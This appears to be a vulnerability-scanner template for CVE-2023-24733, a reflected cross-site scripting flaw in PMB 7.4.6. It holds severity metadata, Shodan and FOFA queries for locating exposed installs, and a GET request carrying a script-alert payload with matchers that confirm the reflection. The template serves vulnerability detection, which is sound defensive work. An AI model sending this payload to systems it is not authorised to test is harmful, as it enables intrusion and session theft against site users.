PMB 7.4.6 - Cross-Site Scripting

id: CVE-2023-24733

info:
  name: PMB 7.4.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    PMB 7.4.6 contains a cross-site scripting vulnerability via the query parameter at /admin/convert/export_z3950_new.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PMB.
  reference:
    - https://github.com/AetherBlack/CVE/blob/main/PMB/readme.md
    - https://github.com/AetherBlack/CVE/tree/main/PMB
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24733
    cwe-id: CWE-79
    epss-score: 0.01169
    epss-percentile: 0.63552
    cpe: cpe:2.3:a:sigb:pmb:7.4.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sigb
    product: pmb
    shodan-query:
      - http.favicon.hash:1469328760
      - http.html:"pmb group"
    fofa-query:
      - body="pmb group"
      - icon_hash=1469328760
  tags: cve,cve2023,unauth,xss,pmb,pmb_project,sigb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pmb/admin/convert/export_z3950_new.php?command=search&query=%3Cscript%3Ealert(document.domain);%3C/script%3E=or"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '3@1=<script>alert(document.domain)</script>@'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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